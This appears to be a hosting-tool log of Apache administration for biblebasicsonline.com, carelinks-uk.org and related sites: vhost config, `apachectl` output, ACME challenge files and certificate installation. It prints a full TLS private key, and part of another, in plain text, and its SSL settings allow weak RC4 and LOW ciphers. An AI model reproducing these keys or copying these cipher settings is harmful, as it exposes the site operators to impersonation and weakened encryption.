    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf= 1'
fi


2025-11-10 06:00:55: 

chmod 755 /tmp/pkp225047; /tmp/pkp225047; rm /tmp/pkp225047

2025-11-10 06:00:55: 




2025-11-10 06:00:55: 

PUT: /tmp/pkp419539

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-10 06:00:55: 

chmod 755 /tmp/pkp419539; /tmp/pkp419539; rm /tmp/pkp419539

2025-11-10 06:00:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:00:55: Establishing a connection
2025-11-10 06:00:55: 

PUT: /tmp/pkp517792

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-10 06:00:56: 

chmod 755 /tmp/pkp517792; /tmp/pkp517792; rm /tmp/pkp517792

2025-11-10 06:00:56: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:00:56: 

PUT: /tmp/pkp288191

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:00:56: 

chmod 755 /tmp/pkp288191; /tmp/pkp288191; rm /tmp/pkp288191

2025-11-10 06:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf	1467

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-10 06:00:56: 

PUT: /tmp/pkp957274

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:00:56: 

chmod 755 /tmp/pkp957274; /tmp/pkp957274; rm /tmp/pkp957274

2025-11-10 06:00:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt	5398
0d:2e:a0:59:66:6b:13:f4:4a:c1:60:a4:d1:34:c0:46

-----BEGIN CERTIFICATE-----
MIIFIDCCBAigAwIBAgISBvb9cLI26uQv/6B/hsN2IyA4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjI0WhcNMjYwMjA4MDUwMjIzWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDSeESr1BhXAklaqMeTvHEfkQTQpiViKP4EWLC51osTW3ZEjZL9dU/f
ous6WJV0QAfzih35hVscPb7hO6b7NNEzMolX1e7Wn/ZLehxl1QZNT3b76vm80mjR
eRBga9PJwPaCgpqWi3aKzGK9fLaDtnFeqPy8535USR05suWeBCSI1QEeetND2SYE
Glv8FQJjfA9FEMs+cv9D972LaKIKbATzshkP+EzshVO8POc4iCOjnETHjkiRNQkC
to/6W8wFxRyM/a8eUtrlG9K30mbpyvzRJmoGjXtI/mm0PXsnNpzX7MU/qfirUs0D
kPoN09Yf0zm2+A4JgBpt7bxp/bkYVPKdAgMBAAGjggI/MIICOzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGgssQ4YYmN/nOmnoYtQ3fqbOurBMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvNTcuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAyzj3FYl8hKFEX1vB
3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGabFpj9QAABAMARzBFAiATeRiFvsgjp29U
KJTsHCXE+Yjjqg+W5PQTv+MSMyGLtwIhAM5naCBJmktWuYxXJO7eToJWHthCwqK/
KuW3N0cAiQe4AHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa
bFpjxwAABAMARjBEAiAl+ip4gUNAAQDxLFaBb8r4CxS0uv19jejD7/rnK3c8cgIg
PbvKzjDVgvU8Pc9OEdLZ9Z1ybunTDTEA4Wl7dyOeA84wDQYJKoZIhvcNAQELBQAD
ggEBALyMV8KaHbRQMMPoS2dKGKr4Xkx0INXhEgGDjGtdmtc9gZdwUGqS7WQp8wSZ
QGAcefftUwBan7JUzgY4b909Yszdv+69pSzoNzdY3mEv+MOh5jHr7Kz+lGI821ys
YwBlUuo0vxC4AE98sh0xmf7Q4UfeWh+bGedv7HYTlvBDOeR3c5K6FUQGiwK1SsMb
4qxHB/eMWVSDTzJlP3PYGCXhCJlXhL6fjSs+60FYoL5m7w37ycdlzflUDqjMMywf
dYK2upA7vpM1tWt+dxEf0BOTGG0fpK0hXpBF0237ig5SKUHqKCfcKpBZFMDm8XXe
hQl2r6THmwH2wzlgUt7tYDQRIew=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDSeESr1BhXAkla
qMeTvHEfkQTQpiViKP4EWLC51osTW3ZEjZL9dU/fous6WJV0QAfzih35hVscPb7h
O6b7NNEzMolX1e7Wn/ZLehxl1QZNT3b76vm80mjReRBga9PJwPaCgpqWi3aKzGK9
fLaDtnFeqPy8535USR05suWeBCSI1QEeetND2SYEGlv8FQJjfA9FEMs+cv9D972L
aKIKbATzshkP+EzshVO8POc4iCOjnETHjkiRNQkCto/6W8wFxRyM/a8eUtrlG9K3
0mbpyvzRJmoGjXtI/mm0PXsnNpzX7MU/qfirUs0DkPoN09Yf0zm2+A4JgBpt7bxp
/bkYVPKdAgMBAAECggEACMe3pattcIPJ55xO5xzfYz+7gbDMsnGfVzMT/Ey09JPG
NUnqreQs9tlnEsILShQ5wLEsWvJzQJRa2C6S4rvrVkVvcVidZBq8PZ3UfXMLlkIQ
ZqYA0R29/a8dPciBx1LjdcJZDJq40UWBgQIo4wnDZP2LvZ2yqXV7YKLT7Wmi1Ipq
4VvfafTnKxdEq7QcqFXmXxyeylcJuV3qXsddN4jPPCua747lnW1wMthXS/GZrs3K
nv9mhEvzMAZRX0wxZdsvhNowNDBTo6g+USAY529bcmsPhqlvDCpZUcbTKDbpfcIh
I4qVpf6v8BuNN3ExOiGJcGggb3snLDLulI/5vSdDwQKBgQD13qLh6bDE3ghTHTR9
acEv2tNzvRoWP8IGg1ezb9wFbFEnxAxf1bfpM+yQroGAqVVLWomq2NfN2Haj0gz/
IAf1aXVxUQfWUFyeG7em/+n52dTND/eqOdmlAjPQAjgBGtEGiUtEZeqIeHG2Ewfo
wh0J6MLwssGc6yh+eT32hR0QVQKBgQDbJD5+whBNrE2b+ZVjyVyb5w6Iev8DkjH+
gRF+iAUocxMfEbIi/ivV/+4B3ab51W8ar69EC6gALUrXOBROfBAsMQsLk/A1Ffmi
+MPaXNbQ/FPdmQwDGSAigbVPGNDBIVWHH6Rx7DwT9zm77XZIEZuia75OQN8zmWun
O/ro3CkBKQKBgBnH9pxpvLdn8MeGUHK2HCPAdlu0gH/Ev7ufGhsep5uJ+BiLXiDO
cDJr12p0Ye/z0ZXNMJJRmo9jG02iQOqfmTYKkN4I+SFn285YabGBNC+Wv9Gg0v9u
gXvj9zrggK7c+P4Od238odMdjg7hf/rQH+tiFM7Yb6Tco6pfXDf1TU7hAoGBALcb
Cb0Qml7MYey6FsFSNzdtUQ9o9jwdo/hsEBoRvX2W6ZtERfxHNImTV2PnuOV4GWXK
9j99HdtH/QjnqtAJidnjAL+j1UoGGpi6E6wZdsUYkVrPzuGn1NoAV2bH7WXyXGyT
W+x0354vLOaB/Bsr20dTj6gDPHz47KLH01dO3lRBAoGBAJGpkuV94vhaMEPujjXH
MjmG37myjjKEYostAJRKK3T1qMHw35wPkbFICZFI/RtBIuya1kSj1trUD5yqWk2P
Rb4gjMgO3y+8Svw10qgbvwGm8oTIY/YJEd99caQDz4Ox46iHsfreIlWsuP1JAOSW
tZASnyRZC6y2DBUKZrdWE56b
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-10 06:00:56: Establishing a connection
2025-11-10 06:00:56: Establishing a connection
2025-11-10 06:00:56: 

PUT: /tmp/pkp415480

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:00:56: 

chmod 755 /tmp/pkp415480; /tmp/pkp415480; rm /tmp/pkp415480

2025-11-10 06:00:56: 


1


2025-11-10 06:00:57: Establishing a connection
2025-11-10 06:00:57: 

PUT: /tmp/pkp480084

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > X2hK-Vef-fwezrhiPY_bnKUE_oiI0olZZ9PClsF3JfI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
X2hK-Vef-fwezrhiPY_bnKUE_oiI0olZZ9PClsF3JfI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 X2hK-Vef-fwezrhiPY_bnKUE_oiI0olZZ9PClsF3JfI
cat > LaTg7m08mBPKENxg6LcnN97fveyrPNn8gPb8zliQanc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LaTg7m08mBPKENxg6LcnN97fveyrPNn8gPb8zliQanc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LaTg7m08mBPKENxg6LcnN97fveyrPNn8gPb8zliQanc


2025-11-10 06:00:57: 

chmod 755 /tmp/pkp480084; /tmp/pkp480084; rm /tmp/pkp480084

2025-11-10 06:00:57: 




2025-11-10 06:01:07: Establishing a connection
2025-11-10 06:01:08: 

PUT: /tmp/pkp676588

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm X2hK-Vef-fwezrhiPY_bnKUE_oiI0olZZ9PClsF3JfI
rm LaTg7m08mBPKENxg6LcnN97fveyrPNn8gPb8zliQanc


2025-11-10 06:01:08: 

chmod 755 /tmp/pkp676588; /tmp/pkp676588; rm /tmp/pkp676588

2025-11-10 06:01:08: 




2025-11-10 06:01:08: Establishing a connection
2025-11-10 06:01:08: 

PUT: /tmp/pkp432869

#!/bin/bash
temp_file=$(mktemp)
TARGET=50ea9c948624fd26b0aa34d6cc8b41c6.crt

cat > $temp_file <<'endmsg'
71:2a:e8:8a:37:6e:70:c3:7f:b5:28:8c:42:0d:5e:1d

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBjU8/WDMLyEjm0Ra0fBMlkqvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjM3WhcNMjYwMjA4MDUwMjM2WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAqdN0upHC54gcTNnsIPb4aYMxDwAED3ORKv3uiv37CASHrcZY1Z5RWii7rVMu
DgfeCIqKVSBsTSA0ToidYuyT1nT8zNrsdts9JnecaacaedSvPP9HnGz8LFkl8PQi
Bilx5hIpQ666Aco8p+78bEFS8GGre3+U/7EmpIZWTsKl4bjfTU46QvHXj0+R6uxY
7vWAG+oRjpiVv4aSbJrGLOJvcj2OnO51noxDfdco/5SX1pZ0+Fqpd0sepJOMk0//
qIDX/G781SvmjmokF4zGGCGlkD5/NEziXsqa8eQ9SvA/zhJnOGOXUxyFup8Useis
L6+plpxzuPwMGbTtglY+FTq9IwIDAQABo4ICNzCCAjMwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBROzjmPRHJJSZkRDIBGg+buVKUURTAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDguY3JsMIIBBQYK
KwYBBAHWeQIEAgSB9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp
6ynd+MMAAAGabFqWZQAABAMASDBGAiEAse8s6YLzYawtH9DSzkz2tVwR8WDPH6jS
n2EI/nQ/fBkCIQC9ZDcgaAHjJOuut1y3KklxUJXI1bybszUMNd7GSlTCsAB2AMs4
9xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxalpIAAAQDAEcwRQIg
RfpPyVKmpDg1nrDFJ0rFTskrG4G0nirwre9X/2mygB0CIQD+1FwBjPXP/chFDIbb
Ygqe1iqf4R7VPHQbwKfUJHDj3zANBgkqhkiG9w0BAQsFAAOCAQEAzXKRAv9IaB01
fR+jFpCeRjc5wp9K9zJbxDwQ45zc65PCRxvQSDArgs6aFcomdLr3Ud6igk5HU22X
2bHIEgPgMoMDLEQcLsBscVPscPRBWz7hzHutV8FDXuMf6vkkoW3hDtMDtrRfeT93
6DSuF9Nkgv1XwYFKqwF/P9HIb7YD5qKSZLmIBLZNdaoZZM5PC+SGOQAm/Jydhu5e
/yhzIC59hYKLYi9GOt5eL4pOaIYI+s/cvjsSXvVA/jjHFEK51qf4p8qw11TNhymS
cknPUW0gOG3K0xVBJEgGUkhY+iqa/yXVzbrob8AAkc/J3X2ER/eRk1CmCN9CP2H6
Fz4pjOATKg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCp03S6kcLniBxM
